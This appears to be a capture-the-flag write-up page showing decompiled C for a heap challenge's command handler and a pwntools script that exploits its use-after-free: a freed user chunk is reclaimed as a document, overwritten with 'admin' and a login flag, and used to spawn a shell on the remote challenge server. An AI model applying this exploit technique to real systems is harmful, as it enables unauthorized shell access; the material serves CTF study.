超级玉米人の部屋

1
void __cdecl handle_choice(choice_t choice, char *arg1_string, size_t arg1_len)
2
{
3
  user_t *new_user; // [rsp+28h] [rbp-38h]
4
  document_t *new_document; // [rsp+30h] [rbp-30h]
5
  int arg1; // [rsp+38h] [rbp-28h]
6
  int arg1a; // [rsp+38h] [rbp-28h]
7
  int arg1b; // [rsp+38h] [rbp-28h]
8
  int k; // [rsp+3Ch] [rbp-24h]
9
  int j; // [rsp+40h] [rbp-20h]
10
  int i_1; // [rsp+44h] [rbp-1Ch]
11
  int i_0; // [rsp+48h] [rbp-18h]
12
  int i; // [rsp+4Ch] [rbp-14h]
13
  char *doc_contents; // [rsp+50h] [rbp-10h]
14
  char *cursor; // [rsp+58h] [rbp-8h]
15
  document_t *cursora; // [rsp+58h] [rbp-8h]
16

17
  if ( (unsigned int)choice > input_choice_enum_t::EXIT )
18
  {
19
    if ( choice == input_choice_enum_t::INVALID )
20
      puts("Invalid command!");
21
  }
22
  else
23
  {
24
    switch ( choice )
25
    {
26
      case input_choice_enum_t::CREATE_USER:    // 创建新的用户 #  E
27
        if ( !arg1_string )
28
        {
29
          puts("Need to give a name!");
30
          return;
31
        }
32
        i = 0;
33
        while ( 2 )
34
        {
35
          if ( i <= 31 )
36
          {
37
            if ( !users[i] || strncmp(arg1_string, users[i]->name, 0x3Cu) )
38
            {
39
              ++i;
40
              continue;
41
            }
42
            puts("User exists already!");
43
          }
44
          else
45
          {
46
            new_user = create_user(arg1_string);
47
            if ( new_user )
48
            {
49
              new_user->logged_in = 1;
50
              printf("Created user %d\n", num_users - 1);
51
            }
52
          }
53
          break;
54
        }
55
        return;
56
      case input_choice_enum_t::SWITCH_USER:    // 登录当前选定的用户 # D
57
        arg1 = get_arg(arg1_string);
58
        if ( arg1 >= 0 )
59
        {
60
          switch_user(arg1);
61
          putchar(10);
62
        }
63
        else
64
        {
65
          puts("Invalid argument! (Need to use index, not name)\n");
66
        }
67
        return;
68
      case input_choice_enum_t::SHOW_USERS:     // 列出当前用户列表
69
        puts("+--------------------------------+");
70
        puts("| id: (name, logged_in, address) |");
71
        puts("+--------------------------------+");
72
        for ( i_0 = 0; i_0 <= 31; ++i_0 )
73
        {
74
          if ( users[i_0] )
75
          {
76
            printf("%d: ('%s', %d, %p)", i_0, users[i_0]->name, users[i_0]->logged_in, users[i_0]);
77
            if ( i_0 == current_user )
78
              printf(" <-- selected user");
79
            putchar(10);
80
          }
81
        }
82
        putchar(10);
83
        return;
84
      case input_choice_enum_t::DEL_USER:       // 删除用户 # C
85
        arg1a = get_arg(arg1_string);
86
        if ( arg1a >= 0 )
87
        {
88
          if ( (unsigned int)arg1a < 0x20 )
89
          {
90
            if ( users[arg1a] )
91
            {
92
              if ( users[arg1a]->logged_in )
93
              {
94
                if ( arg1a == current_user )
95
                {
96
                  puts("Can't delete the currently selected user!\n");
97
                }
98
                else
99
                {
100
                  printf("Deleted user %d (named %s)\n\n", arg1a, users[arg1a]->name);
101
                  free(users[arg1a]);
102
                }
103
              }
104
              else
105
              {
106
                puts("Can't delete this user as they aren't logged in!\n");
107
              }
108
            }
109
            else
110
            {
111
              puts("No such user\n");
112
            }
113
          }
114
        }
115
        else
116
        {
117
          puts("Invalid argument!\n");
118
        }
119
        return;
120
      case input_choice_enum_t::CREATE_DOC:
121
        if ( num_documents <= 0x1F && (new_document = (document_t *)calloc(1u, 0x40u)) != 0 )
122
        {
123
          documents[num_documents++] = new_document;
124
          printf("Created document %d\n", num_documents - 1);
125
        }
126
        else
127
        {
128
          puts("Couldn't create a document\n");
129
        }
130
        return;
131
      case input_choice_enum_t::WRITE_DOC:                   // # B
132
        cursor = arg1_string;
133
        doc_contents = 0;
134
        break;
135
      case input_choice_enum_t::SHOW_DOCS:
136
        if ( !num_documents )
137
          puts("No documents yet. Create one with 'create_doc'!\n");
138
        for ( i_1 = 0; i_1 <= 31; ++i_1 )
139
        {
140
          if ( documents[i_1] )
141
          {
142
            cursora = documents[i_1];
143
            printf("+------ %02d ------+\n", i_1);
144
            printf("| %p |\n", documents[i_1]);
145
            for ( j = 0; j <= 3; ++j )
146
            {
147
              putchar(124);
148
              for ( k = 0; k <= 15; ++k )
149
              {
150
                if ( cursora->text[0] )
151
                  putchar(cursora->text[0]);
152
                else
153
                  putchar(32);
154
                cursora = (document_t *)((char *)cursora + 1);
155
              }
156
              puts("|");
157
            }
158
            puts("+----------------+");
159
          }
160
        }
161
        return;
162
      case input_choice_enum_t::SHELL:
163
        if ( !strcmp(users[current_user]->name, "admin") )// 获取shell # A
164
        {
165
          puts("Ok here's a shell:");
166
          system("/bin/sh");
167
        }
168
        else
169
        {
170
          puts("Need to be logged in as 'admin' to do that!\n");
171
        }
172
        return;
173
      case input_choice_enum_t::HELP:
174
        show_help();
175
        return;
176
      case input_choice_enum_t::INFO:
177
        show_info();
178
        return;
179
      case input_choice_enum_t::EXIT:
180
        exit(0);
181
      default:
182
        return;
183
    }
184
    while ( *cursor )
185
    {
186
      if ( *cursor == 32 && cursor[1] )
187
      {
188
        doc_contents = cursor + 1;
189
        --arg1_len;
190
        break;
191
      }
192
      ++cursor;
193
      --arg1_len;
194
    }
195
    arg1b = get_arg(arg1_string);
196
    if ( arg1b >= 0 )
197
    {
198
      if ( doc_contents )
199
      {
200
        if ( arg1_len > 0x40 )
201
        {
202
          arg1_len = 64;
203
          doc_contents[63] = 0;
204
        }
205
        if ( arg1b >= num_documents )
206
        {
207
          puts("No such document\n");
208
        }
209
        else if ( documents[arg1b] )
210
        {
211
          printf("[document %d] writing %s\n", arg1b, doc_contents);
212
          memcpy(documents[arg1b], doc_contents, arg1_len);
213
        }
214
      }
215
      else
216
      {
217
        puts("Need something to write!");
218
      }
219
    }
220
    else
221
    {
222
      puts("Invalid document!");
223
    }
224
  }
225
}
226

227
struct user_t
228
{
229
  username[60];
230
  dword login
231
}
232

233
struct doc_t
234
{
235
  text[64];
236
}

1
from pwn import *
2

3
context.log_level = "debug"
4

5
def cmd(p: process, code: str) -> process:
6
  p.sendafter(b"> ", code.encode())
7
  return p
8

9
# p = process("./heap0_patched")
10
p = remote("chal.sigpwny.com", 1359)
11

12
p = cmd(p, "create_user aUser")
13
p = cmd(p, "del_user 2")
14
p = cmd(p, "create_doc")
15

16
payload = flat([
17
  b"admin\x00",   # 6
18
  b"a" * 54,
19
  p32(1)
20
])
21

22
# to write
23
toWrite = b"write_doc 0 " + payload
24

25
p.sendafter(b"> ", toWrite)
26

27
p = cmd(p, "switch_user 2")
28
p = cmd(p, "shell")
29
p.interactive()